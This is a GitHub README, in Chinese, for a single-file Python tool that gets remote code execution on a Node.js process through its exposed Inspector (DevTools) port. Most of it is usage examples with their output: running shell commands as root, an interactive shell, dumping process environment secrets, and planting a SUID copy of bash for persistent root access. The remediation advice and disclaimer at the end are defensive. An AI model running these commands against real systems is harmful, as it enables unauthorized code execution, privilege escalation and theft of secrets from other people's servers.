cristhian-bot0/nodejs-inspector-rce

GitHub: cristhian-bot0/nodejs-inspector-rce

一个零依赖、单文件的 Python 工具,利用暴露的 Node.js Inspector 端口(Chrome DevTools Protocol)实现远程代码执行。

Stars: 0 | Forks: 0

# nodejs-inspector-rce 用于 **Node.js Inspector** 的单文件、零依赖远程代码执行客户端 (`node --inspect`)。纯 Python 标准库实现——无需 `pip install`,无需 `websocket-client`, 无需浏览器。 ## 为什么会有这个工具 当 Node.js 进程以 `--inspect` 启动时,它会通过 WebSocket 暴露 **Chrome DevTools Protocol (CDP)**,默认地址为 `127.0.0.1:9229`。任何能连接到该 端口的客户端都可以通过 `Runtime.evaluate` 在进程中执行任意 JavaScript,这相当于 以该进程的权限进行完全的代码执行。 这是 CTF 和实际测试中反复出现的发现: - 后台 worker 或服务以 `--inspect` 启动(通常是调试时遗留的), 并以 **root** 身份运行。 - 该端口绑定到 localhost,因此从外部看起来很“安全”——但任何本地用户,或者 已经获得低权限立足点的攻击者,都可以与其通信并**提权至该服务的权限**。 现有的工具都不太好用:`node inspect` 只支持交互模式,而且大多数脚本都需要引入 WebSocket 库或驱动真实的 Chrome。这个工具手动完成了最简的 WebSocket + CDP 握手, 因此只要存在 Python 3 的地方它就能运行。 ## 用法 ``` python3 inspector_rce.py [options] ``` `` 可以是 `host`、`host:port` 或完整的 URL。端口默认为 `9229`。 | 选项 | 描述 | |--------|-------------| | `-c, --cmd ` | 运行 shell 命令并打印其 stdout | | `-e, --eval ` | 执行原始 JavaScript 表达式 | | `-s, --shell` | 交互式命令 shell | | `-p, --port ` | 当 target 中未指定时的 inspector 端口(默认 9229) | | `-t, --timeout `| socket 超时时间(秒)(默认 15) | ### 示例 验证代码执行(默认运行 `id`): ``` $ python3 inspector_rce.py 127.0.0.1:9229 [+] connected to Node.js inspector at 127.0.0.1:9229 uid=0(root) gid=0(root) groups=0(root) ``` 运行特定命令: ``` $ python3 inspector_rce.py 127.0.0.1 -c 'cat /root/root.txt' ``` 交互式 shell: ``` $ python3 inspector_rce.py 10.10.10.10:9229 --shell node-rce$ whoami root node-rce$ hostname target node-rce$ exit ``` 原始 JavaScript(便于读取进程内部信息): ``` $ python3 inspector_rce.py 127.0.0.1 -e 'process.env.SECRET' $ python3 inspector_rce.py 127.0.0.1 -e 'Object.keys(process.env).join("\n")' ``` ### 获取稳定的 shell 一旦你获得了特权用户的执行权限,放下一个 SUID shell: ``` $ python3 inspector_rce.py 127.0.0.1 -c 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' $ /tmp/rootbash -p ``` ## 工作原理 1. 在 inspector 的 HTTP endpoint 上执行 `GET /json` 会返回 `webSocketDebuggerUrl`。 2. 通过普通的 TCP socket 执行原始的 WebSocket 升级握手。 3. 发送 `Runtime.evaluate` 消息,其中包含调用 `child_process.execSync(...)` 的表达式(用于 `--cmd`)或你的原始 JS(用于 `--eval`)。 4. 手动编码/解码带掩码/无掩码的 WebSocket 帧,并打印返回的值。 命令 wrapper 通过 `process.mainModule.require` 解析 `child_process`(带有全局 `require` 作为回退方案),因此无论目标脚本是如何启动的,它都能正常工作。 ## 修复建议 - 切勿在生产环境中运行 `--inspect` / `--inspect-brk`。 - 如果必须进行远程调试,请将 inspector 绑定到 loopback **并**将其置于 带有身份验证的 SSH tunnel 之后——切勿将 9229 暴露给任何你未完全信任的用户。 - 降权:被调试的进程不应以 root 身份运行。 ## 免责声明 仅供**已授权的**安全测试、CTF 挑战和教育使用。在你未拥有或未获得明确测试许可的系统上运行此工具是非法的。你需对如何使用它负责。 ## 许可证 MIT — 见 [LICENSE](LICENSE)。
标签:GNU通用公共许可证, MITM代理, Node.js, Python, Web报告查看器, 无后门, 编程工具, 远程代码执行, 逆向工具